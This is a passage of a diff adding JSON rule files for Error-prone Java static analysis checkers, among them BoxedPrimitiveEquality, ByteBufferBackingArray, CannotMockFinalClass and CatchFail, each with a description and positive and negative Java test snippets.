"cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 224, + "branches": 32, + "apis": 13, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "public class Test {\n {\n // BUG: Diagnostic contains: byte b = (byte) 0;\n byte b = new Byte((byte) 0);\n // BUG: Diagnostic contains: char c = (char) 0;\n char c = new Character((char) 0);\n // BUG: Diagnostic contains: double d = 0;\n double d = new Double(0);\n // BUG: Diagnostic contains: float f = 0;\n float f = new Float(0);\n // BUG: Diagnostic contains: int i = 0;\n int i = new Integer(0);\n // BUG: Diagnostic contains: long j = 0;\n long j = new Long(0);\n // BUG: Diagnostic contains: short s = (short) 0;\n short s = new Short((short) 0);\n Double dd = d;\n // BUG: Diagnostic contains: float f2 = dd.floatValue();\n float f2 = new Float(dd);\n // BUG: Diagnostic contains: float f3 = (float) d;\n float f3 = new Float(d);\n // BUG: Diagnostic contains: foo(Float.valueOf((float) d));\n foo(new Float(d));\n }\n\n public void foo(Float f) {}\n }" + }, + { + "description": "positiveStrings", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "public class Test {\n {\n // BUG: Diagnostic contains: byte b = Byte.valueOf(\"0\");\n byte b = new Byte(\"0\");\n // BUG: Diagnostic contains: double d = Double.valueOf(\"0\");\n double d = new Double(\"0\");\n // BUG: Diagnostic contains: float f = Float.valueOf(\"0\");\n float f = new Float(\"0\");\n // BUG: Diagnostic contains: int i = Integer.valueOf(\"0\");\n int i = new Integer(\"0\");\n // BUG: Diagnostic contains: long j = Long.valueOf(\"0\");\n long j = new Long(\"0\");\n // BUG: Diagnostic contains: short s = Short.valueOf(\"0\");\n short s = new Short(\"0\");\n }\n }" + }, + { + "description": "booleanConstant", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "public class Test {\n static final Boolean CONST = true;\n static final String CONST2 = null;\n\n {\n // BUG: Diagnostic contains: boolean a = true;\n boolean a = new Boolean(true);\n // BUG: Diagnostic contains: boolean b = false;\n boolean b = new Boolean(false);\n // BUG: Diagnostic contains: boolean c = Boolean.valueOf(CONST);\n boolean c = new Boolean(CONST);\n // BUG: Diagnostic contains: boolean e = true;\n boolean e = new Boolean(\"true\");\n // BUG: Diagnostic contains: boolean f = false;\n boolean f = new Boolean(\"nope\");\n // BUG: Diagnostic contains: boolean g = Boolean.valueOf(CONST2);\n boolean g = new Boolean(CONST2);\n // BUG: Diagnostic contains: System.err.println(Boolean.TRUE);\n System.err.println(new Boolean(\"true\"));\n // BUG: Diagnostic contains: System.err.println(Boolean.FALSE);\n System.err.println(new Boolean(\"false\"));\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "public class Test {\n {\n String s = new String((String) null);\n }\n }" + }, + { + "description": "autoboxing", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "public abstract class Test {\n abstract int g(Integer x);\n\n void f(int x) {\n // BUG: Diagnostic contains: int i = x;\n int i = new Integer(x);\n // BUG: Diagnostic contains: i = g(Integer.valueOf(x));\n i = g(new Integer(x));\n // BUG: Diagnostic contains: i = (short) 0;\n i = new Integer((short) 0);\n }\n }" + }, + { + "description": "methodCall", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "public abstract class Test {\n abstract int g(Integer x);\n\n void f(int x) {\n // BUG: Diagnostic contains: int i = Integer.valueOf(x).byteValue();\n int i = new Integer(x).byteValue();\n }\n }" + }, + { + "description": "stringValue", + "expected-problems": null, + "expected-linenumbers": [ + 184 + ], + "code": "public abstract class Test {\n abstract int g(Integer x);\n\n void f(int x) {\n // BUG: Diagnostic contains: String s = String.valueOf(x);\n String s = new Integer(x).toString();\n }\n }" + }, + { + "description": "compareTo", + "expected-problems": null, + "expected-linenumbers": [ + 202 + ], + "code": "public abstract class Test {\n abstract int g(Integer x);\n\n void f(int x, Integer y, double d, Double dd, Float f) {\n // BUG: Diagnostic contains: int c1 = Integer.compare(x, y);\n int c1 = new Integer(x).compareTo(y);\n // BUG: Diagnostic contains: int c2 = y.compareTo(Integer.valueOf(x));\n int c2 = y.compareTo(new Integer(x));\n // BUG: Diagnostic contains: int c3 = Float.compare((float) d, f);\n int c3 = new Float(d).compareTo(f);\n // BUG: Diagnostic contains: int c4 = Float.compare(dd.floatValue(), f);\n int c4 = new Float(dd).compareTo(f);\n }\n }" + }, + { + "description": "hashCodeRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "public abstract class Test {\n abstract int g(Integer x);\n\n int f(int x, Integer y, long z, double d, Double dd) {\n // BUG: Diagnostic contains: int h = Integer.hashCode(x);\n int h = new Integer(x).hashCode();\n // BUG: Diagnostic contains: h = Float.hashCode((float) d);\n h = new Float(d).hashCode();\n // BUG: Diagnostic contains: h = Float.hashCode(dd.floatValue());\n h = new Float(dd).hashCode();\n // BUG: Diagnostic contains: return Long.hashCode(z);\n return new Long(z).hashCode();\n }\n }" + }, + { + "description": "incompleteClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 254 + ], + "code": "" + }, + { + "description": "autoboxWidening", + "expected-problems": null, + "expected-linenumbers": [ + 269 + ], + "code": "class Test {\n void f(float f) {\n // BUG: Diagnostic contains: (double) f;\n Double d = new Double(f);\n // BUG: Diagnostic contains: (short) (byte) 0;\n Short s = new Short((byte) 0);\n }\n }" + }, + { + "description": "autoboxGenerics", + "expected-problems": null, + "expected-linenumbers": [ + 287 + ], + "code": "class Test {\n T f(Object o) {\n // BUG: Diagnostic contains: return (T) Integer.valueOf(o.hashCode());\n return (T) new Integer(o.hashCode());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveEquality.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveEquality.json new file mode 100644 index 0000000..4efebe5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BoxedPrimitiveEquality.json @@ -0,0 +1,62 @@ +{ + "name": "BoxedPrimitiveEquality", + "language": "java", + "description": "Comparison using reference equality instead of value equality. Reference equality of boxed primitive types is usually not useful, as they are value objects, and it is bug-prone, as instances are cached for some values but not others.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 43, + "branches": 3, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "class Test {\n boolean f(Boolean a, Boolean b) {\n // BUG: Diagnostic contains:\n return a == b;\n }\n }" + }, + { + "description": "negative_forNumber", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "class Test {\n boolean f(Number a, Number b) {\n return a == b;\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "class Test {\n boolean f(boolean a, boolean b) {\n return a == b;\n }\n\n boolean g(String a, String b) {\n return a == b;\n }\n }" + }, + { + "description": "comparedToStaticField_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "class Test {\n private static final Number SENTINEL = 1L;\n\n boolean f(Number a) {\n return a == SENTINEL;\n }\n }" + }, + { + "description": "parenthesized", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "class Test {\n void f() {\n final Long constValue = Long.valueOf(1000L);\n Long assignedValue;\n // BUG: Diagnostic contains: (!(assignedValue = Long.valueOf(1000L)).equals(constValue))\n boolean retVal = ((assignedValue = Long.valueOf(1000L)) != constValue);\n }\n}" + }, + { + "description": "atomic", + "expected-problems": null, + "expected-linenumbers": [ + 119 + ], + "code": "import java.util.concurrent.atomic.AtomicInteger;\n\n class Test {\n boolean f(AtomicInteger a, AtomicInteger b) {\n return a == b;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BugPatternNaming.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BugPatternNaming.json new file mode 100644 index 0000000..8ff17e5 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/BugPatternNaming.json @@ -0,0 +1,46 @@ +{ + "name": "BugPatternNaming", + "language": "java", + "description": "Giving BugPatterns a name different to the enclosing class can be confusing", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 4, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import static com.google.errorprone.BugPattern.SeverityLevel.WARNING;\n import com.google.errorprone.BugPattern;\n\n @BugPattern(name = \"Trololol\", severity = WARNING, summary = \"\")\n // BUG: Diagnostic contains:\n class Test extends BugChecker {}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import static com.google.errorprone.BugPattern.SeverityLevel.WARNING;\n import com.google.errorprone.BugPattern;\n\n @BugPattern(severity = WARNING, summary = \"\")\n class Test extends BugChecker {}" + }, + { + "description": "nameMatchesClass_removed", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import static com.google.errorprone.BugPattern.SeverityLevel.WARNING;\n import com.google.errorprone.BugPattern;\n\n @BugPattern(name = \"Test\", severity = WARNING, summary = \"\")\n class Test extends BugChecker {}\n \n\n package com.google.errorprone.bugpatterns;\n\n import static com.google.errorprone.BugPattern.SeverityLevel.WARNING;\n import com.google.errorprone.BugPattern;\n\n @BugPattern(severity = WARNING, summary = \"\")\n class Test extends BugChecker {}" + }, + { + "description": "absentName_negative", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "package com.google.errorprone.bugpatterns;\n\n import static com.google.errorprone.BugPattern.SeverityLevel.WARNING;\n import com.google.errorprone.BugPattern;\n\n @BugPattern(severity = WARNING, summary = \"\")\n class Test extends BugChecker {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ByteBufferBackingArray.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ByteBufferBackingArray.json new file mode 100644 index 0000000..392668f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ByteBufferBackingArray.json @@ -0,0 +1,38 @@ +{ + "name": "ByteBufferBackingArray", + "language": "java", + "description": "ByteBuffer.array() shouldn't be called unless ByteBuffer.arrayOffset() is used or if the ByteBuffer was initialized using ByteBuffer.wrap() or ByteBuffer.allocate().", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 179, + "branches": 26, + "apis": 5, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest;\nimport java.nio.ByteBuffer;\n\n/** Positive cases for {@link ByteBufferBackingArrayTest}. */\npublic class ByteBufferBackingArrayPositiveCases {\n\n public void array_notPrecededByOffsetNorValidInitializer_asLocalVariable_isFlagged() {\n ByteBuffer buff = null;\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n }\n\n class A {\n\n ByteBuffer buff = null;\n\n void array_notPrecededByOffsetNorValidInitializer_asField_isFlagged() {\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n }\n }\n\n class ArrayCalledInFieldNotPrecededByOffsetNorValidInitializerAsFieldIsFlagged {\n ByteBuffer buffer = null;\n // BUG: Diagnostic contains: ByteBuffer.array()\n byte[] array = buffer.array();\n }\n\n void array_notPrecededByOffsetNorValidInitializer_asMethodParameter_isFlagged(ByteBuffer buffer) {\n // BUG: Diagnostic contains: ByteBuffer.array()\n buffer.array();\n }\n\n void array_followedByWrap_isFlagged() {\n ByteBuffer buff = null;\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n buff = ByteBuffer.wrap(new byte[] {1});\n }\n\n void array_followedByAllocate_isFlagged() {\n ByteBuffer buff = null;\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n buff = ByteBuffer.allocate(1);\n }\n\n void array_precededByAllocateDirect_isFlagged() {\n ByteBuffer buff = null;\n buff = ByteBuffer.allocateDirect(1);\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n }\n\n void array_precededByAllocateOnAnotherBuffer_isFlagged() {\n ByteBuffer otherBuff = ByteBuffer.allocate(1);\n ByteBuffer buff = null;\n otherBuff.arrayOffset();\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n }\n\n void array_precededByNotAValidMethod_isFlagged() {\n ByteBuffer buff = null;\n buff.position();\n // BUG: Diagnostic contains: ByteBuffer.array()\n buff.array();\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest;\nimport java.nio.ByteBuffer;\nimport java.util.function.Function;\n\n/** Negative cases for {@link ByteBufferBackingArrayTest}. */\npublic class ByteBufferBackingArrayNegativeCases {\n\n void noArrayCall_isNotFlagged() {\n ByteBuffer buffer = null;\n buffer.position();\n }\n\n void array_precededByArrayOffset_isNotFlagged() {\n ByteBuffer buffer = null;\n buffer.arrayOffset();\n buffer.array();\n }\n\n void array_precededByArrayOffset_onOuterScope_isNotFlagged() {\n ByteBuffer buffer = null;\n buffer.arrayOffset();\n if (true) {\n while (true) {\n buffer.array();\n }\n }\n }\n\n void array_precededByByteBufferWrap_isNotFlagged() {\n ByteBuffer buffer = ByteBuffer.wrap(new byte[] {1});\n buffer.array();\n }\n\n void array_precededByByteBufferAllocate_isNotFlagged() {\n ByteBuffer buffer = ByteBuffer.allocate(1);\n buffer.array();\n }\n\n // Ideally, this case should be flagged though.\n void array_followedByByteBufferArrayOffset_isNotFlagged() {\n ByteBuffer buffer = null;\n buffer.array();\n buffer.arrayOffset();\n }\n\n // Ideally, this case should be flagged though.\n void array_followedByArrayOffset_inExpression_isNotFlagged() {\n ByteBuffer buffer = null;\n byte[] outBytes;\n int outOffset;\n int outPos;\n if (buffer.hasArray()) {\n outBytes = buffer.array();\n outPos = outOffset = buffer.arrayOffset() + buffer.position();\n }\n }\n\n void array_precededByByteBufferAllocate_inSplitMethodChain_isNotFlagged() {\n ByteBuffer buffer = ByteBuffer.allocate(1).put((byte) 'a');\n buffer.array();\n }\n\n public void array_immediatelyPrecededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged()\n throws Exception {\n ByteBuffer.allocate(0).array();\n }\n\n void array_precededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() {\n ByteBuffer.allocate(Long.SIZE / Byte.SIZE).putLong(1L).array();\n }\n\n byte[] array_inMethodChain_precededByByteBufferAllocate_isNotFlagged() {\n ByteBuffer buffer = ByteBuffer.allocate(1);\n return buffer.put(new byte[] {1}).array();\n }\n\n class A {\n // Ideally, this case should be flagged though.\n void array_inMethodChain_whereByteBufferIsNotAtStartOfChain_isNotFlagged() {\n A helper = new A();\n helper.getBuffer().put((byte) 1).array();\n }\n\n ByteBuffer getBuffer() {\n return null;\n }\n }\n\n class B {\n ByteBuffer buffer = ByteBuffer.allocate(1);\n\n void array_precededByByteBufferAllocate_inField_isNotFlagged() {\n buffer.array();\n }\n }\n\n class C {\n ByteBuffer buffer = ByteBuffer.allocate(1);\n\n class A {\n void array_precededByByteBufferAllocate_inFieldOfParentClass_isNotFlagged() {\n buffer.array();\n }\n }\n }\n\n class ArrayInFieldPrecededByByteBufferAllocateInFieldIsNotFlagged {\n ByteBuffer buffer = ByteBuffer.allocate(1);\n byte[] array = buffer.array();\n }\n\n void array_inAnonymousClass_precededByByteBufferAllocate_isNotFlagged() {\n final ByteBuffer buffer = ByteBuffer.allocate(0);\n\n new Function() {\n @Override\n public Object apply(Object o) {\n buffer.array();\n return null;\n }\n };\n }\n\n void array_inLambdaExpression_precededByByteBufferAllocate_isNotFlagged() {\n final ByteBuffer buffer = ByteBuffer.allocate(0);\n\n Function f =\n (Void unused) -> {\n buffer.array();\n return null;\n };\n }\n}\\" + }, + { + "description": "i1004", + "expected-problems": null, + "expected-linenumbers": [ + 257 + ], + "code": "import java.nio.ByteBuffer;\n\n public class Test {\n public void ByteBufferBackingArrayTest() {\n byte[] byteArray = ((ByteBuffer) new Object()).array();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CacheLoaderNull.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CacheLoaderNull.json new file mode 100644 index 0000000..706daac --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CacheLoaderNull.json @@ -0,0 +1,30 @@ +{ + "name": "CacheLoaderNull", + "language": "java", + "description": "The result of CacheLoader#load must be non-null.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 69, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.common.cache.CacheLoader;\n\n class Test {\n {\n new CacheLoader() {\n @Override\n public String load(String key) {\n // BUG: Diagnostic contains:\n return null;\n }\n };\n abstract class MyCacheLoader extends CacheLoader {}\n new MyCacheLoader() {\n @Override\n public String load(String key) {\n // BUG: Diagnostic contains:\n return null;\n }\n };\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import com.google.common.cache.CacheLoader;\n import java.util.function.Supplier;\n\n class Test {\n public String load(String key) {\n return null;\n }\n\n {\n new CacheLoader() {\n @Override\n public String load(String key) {\n Supplier s =\n () -> {\n return null;\n };\n Supplier t =\n new Supplier() {\n public String get() {\n return null;\n }\n };\n class MySupplier implements Supplier {\n public String get() {\n return null;\n }\n }\n ;\n return \"\";\n }\n };\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockFinalClass.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockFinalClass.json new file mode 100644 index 0000000..c729c98 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockFinalClass.json @@ -0,0 +1,46 @@ +{ + "name": "CannotMockFinalClass", + "language": "java", + "description": "Mockito cannot mock final classes", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 1, + "apis": 2, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n import org.mockito.Mockito;\n\n /** Test for CannotMockFinalClass. */\n @RunWith(JUnit4.class)\n public class CannotMockFinalClassPositiveCases {\n static final class FinalClass {}\n\n // BUG: Diagnostic contains: Mockito cannot mock\n @Mock FinalClass impossible;\n\n public void method() {\n // BUG: Diagnostic contains: Mockito cannot mock\n FinalClass local = Mockito.mock(FinalClass.class);\n }\n }\\" + }, + { + "description": "positiveCase_record", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n import org.mockito.Mockito;\n\n @RunWith(JUnit4.class)\n public class Test {\n record Record() {}\n\n // BUG: Diagnostic contains:\n @Mock Record record;\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n import org.mockito.Mockito;\n\n /** Test for CannotMockFinalClass. */\n @RunWith(JUnit4.class)\n public class CannotMockFinalClassNegativeCases {\n static class NonFinalClass {}\n\n @Mock NonFinalClass okToMock;\n\n public void method() {\n NonFinalClass local = Mockito.mock(NonFinalClass.class);\n }\n }\\" + }, + { + "description": "negativeCase2", + "expected-problems": null, + "expected-linenumbers": [ + 110 + ], + "code": "import org.mockito.Mock;\n import org.mockito.Mockito;\n\n /** Test for CannotMockFinalClass in the absence of @RunWith(JUnit4.class). */\n public class CannotMockFinalClassNegativeCases2 {\n static final class FinalClass {}\n\n @Mock FinalClass impossible;\n\n public void method() {\n FinalClass local = Mockito.mock(FinalClass.class);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockMethod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockMethod.json new file mode 100644 index 0000000..47f7743 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CannotMockMethod.json @@ -0,0 +1,46 @@ +{ + "name": "CannotMockMethod", + "language": "java", + "description": "Mockito cannot mock final or static methods, and can't detect this at runtime", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 70, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "whenCall_flagged", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import static org.mockito.Mockito.when;\n\n class Test {\n final Integer foo() {\n return 1;\n }\n\n void test() {\n // BUG: Diagnostic contains:\n when(this.foo());\n }\n }" + }, + { + "description": "whenCall_forStaticMethod_flagged", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import static org.mockito.Mockito.when;\n\n class Test {\n static Integer foo() {\n return 1;\n }\n\n void test() {\n // BUG: Diagnostic contains:\n when(foo());\n }\n }" + }, + { + "description": "verifyCall_flagged", + "expected-problems": null, + "expected-linenumbers": [ + 73 + ], + "code": "import static org.mockito.Mockito.verify;\n\n class Test {\n final Integer foo() {\n return 1;\n }\n\n void test() {\n // BUG: Diagnostic contains:\n verify(this).foo();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "import static org.mockito.Mockito.when;\n\n class Test {\n Integer foo() {\n return 1;\n }\n\n void test() {\n when(this.foo());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CanonicalDuration.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CanonicalDuration.json new file mode 100644 index 0000000..0a6f121 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CanonicalDuration.json @@ -0,0 +1,70 @@ +{ + "name": "CanonicalDuration", + "language": "java", + "description": "Duration can be expressed more clearly with different units", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 278, + "branches": 37, + "apis": 8, + "test": [ + { + "description": "refactoringJavaTime", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package a;\n\n import java.time.Duration;\n\n public class A {\n static final int CONST = 86400;\n\n {\n Duration.ofSeconds(86400);\n java.time.Duration.ofSeconds(86400);\n Duration.ofSeconds(CONST);\n Duration.ofMillis(0);\n Duration.ofMillis(4611686018427387904L);\n Duration.ofDays(1);\n }\n }\n \n\n package a;\n\n import java.time.Duration;\n\n public class A {\n static final int CONST = 86400;\n\n {\n Duration.ofDays(1);\n java.time.Duration.ofDays(1);\n Duration.ofSeconds(CONST);\n Duration.ofMillis(0);\n Duration.ofMillis(4611686018427387904L);\n Duration.ofDays(1);\n }\n }" + }, + { + "description": "refactoringJoda", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package a;\n\n import org.joda.time.Duration;\n\n public class A {\n static final int CONST = 86400;\n\n {\n Duration.standardSeconds(86400);\n org.joda.time.Duration.standardSeconds(86400);\n Duration.standardSeconds(CONST);\n Duration zero = Duration.standardSeconds(0);\n Duration.standardDays(1);\n }\n }\n \n\n package a;\n\n import org.joda.time.Duration;\n\n public class A {\n static final int CONST = 86400;\n\n {\n Duration.standardDays(1);\n org.joda.time.Duration.standardDays(1);\n Duration.standardSeconds(CONST);\n Duration zero = Duration.ZERO;\n Duration.standardDays(1);\n }\n }" + }, + { + "description": "refactoringJavaTimeStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "package a;\n\n import static java.time.Duration.ofSeconds;\n import java.time.Duration;\n\n public class A {\n {\n ofSeconds(86400);\n }\n }\n \n\n package a;\n\n import static java.time.Duration.ofDays;\n import static java.time.Duration.ofSeconds;\n\n import java.time.Duration;\n\n public class A {\n {\n ofDays(1);\n }\n }" + }, + { + "description": "refactoringJodaStaticImport", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "package a;\n\n import static org.joda.time.Duration.standardSeconds;\n\n public class A {\n {\n standardSeconds(86400);\n standardSeconds(0).getStandardSeconds();\n }\n }\n \n\n package a;\n\n import static org.joda.time.Duration.standardDays;\n import static org.joda.time.Duration.standardSeconds;\n\n import org.joda.time.Duration;\n\n public class A {\n {\n standardDays(1);\n Duration.ZERO.getStandardSeconds();\n }\n }" + }, + { + "description": "ignoredMethod", + "expected-problems": null, + "expected-linenumbers": [ + 196 + ], + "code": "package a;\n\n import java.time.Duration;\n\n public class A {\n static final int S = 60;\n static final int M = 60;\n static final int H = 24;\n\n {\n Duration.ofSeconds(S);\n Duration.ofMinutes(H);\n Duration.ofHours(24);\n }\n }" + }, + { + "description": "consistentWithinExpression", + "expected-problems": null, + "expected-linenumbers": [ + 222 + ], + "code": "package a;\n\n import static java.time.Duration.ofSeconds;\n import static java.util.Arrays.asList;\n import java.time.Duration;\n import java.util.List;\n\n public class A {\n // The 120 is left alone here because 121 can't be converted too.\n static final List negative = asList(ofSeconds(120), ofSeconds(121));\n\n static final List positive = asList(ofSeconds(120), ofSeconds(180));\n }\n \n\n package a;\n\n import static java.time.Duration.ofMinutes;\n import static java.time.Duration.ofSeconds;\n import static java.util.Arrays.asList;\n import java.time.Duration;\n import java.util.List;\n\n public class A {\n // The 120 is left alone here because 121 can't be converted too.\n static final List negative = asList(ofSeconds(120), ofSeconds(121));\n\n static final List positive = asList(ofMinutes(2), ofMinutes(3));\n }" + }, + { + "description": "fixConstantExpressions", + "expected-problems": null, + "expected-linenumbers": [ + 263 + ], + "code": "package a;\n\n import static java.time.Duration.ofSeconds;\n import java.time.Duration;\n\n public class A {\n static final Duration positive = ofSeconds(2 * 60);\n }\n \n\n package a;\n\n import static java.time.Duration.ofMinutes;\n import static java.time.Duration.ofSeconds;\n import java.time.Duration;\n\n public class A {\n static final Duration positive = ofMinutes(2);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchAndPrintStackTrace.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchAndPrintStackTrace.json new file mode 100644 index 0000000..1b8650c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchAndPrintStackTrace.json @@ -0,0 +1,30 @@ +{ + "name": "CatchAndPrintStackTrace", + "language": "java", + "description": "Logging or rethrowing exceptions should usually be preferred to catching and calling printStackTrace", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 51, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "class Test {\n void f() {\n try {\n System.err.println();\n } catch (Throwable t) {\n // BUG: Diagnostic contains:\n t.printStackTrace();\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "class Test {\n void f() {\n try {\n System.err.println();\n } catch (Throwable t) {\n }\n try {\n System.err.println();\n } catch (Throwable t) {\n t.printStackTrace();\n t.printStackTrace();\n }\n try {\n System.err.println();\n } catch (Throwable t) {\n t.printStackTrace(System.err);\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchFail.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchFail.json new file mode 100644 index 0000000..bcec52b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/CatchFail.json @@ -0,0 +1,142 @@ +{ + "name": "CatchFail", + "language": "java", + "description": "Ignoring exceptions and calling fail() is unnecessary, and makes test output less useful", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 207, + "branches": 28, + "apis": 7, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "import org.junit.Test;\n\n class Foo {\n @Test\n public void f() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail();\n }\n }\n\n public void testFoo() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail();\n }\n }\n }\n \n\n import org.junit.Test;\n\n class Foo {\n @Test\n public void f() throws Exception {\n System.err.println();\n }\n\n public void testFoo() throws Exception {\n System.err.println();\n }\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 42 + ], + "code": "" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "" + }, + { + "description": "positive_failFail", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import org.junit.Test;\n\n class Foo {\n @Test\n public void f() {\n try {\n System.err.println();\n } catch (Exception expected) {\n org.junit.Assert.fail();\n } catch (Throwable unexpected) {\n org.junit.Assert.fail();\n }\n }\n }\n \n\n import org.junit.Test;\n\n class Foo {\n @Test\n public void f() throws Exception, Throwable {\n System.err.println();\n }\n }" + }, + { + "description": "f", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "" + }, + { + "description": "f", + "expected-problems": null, + 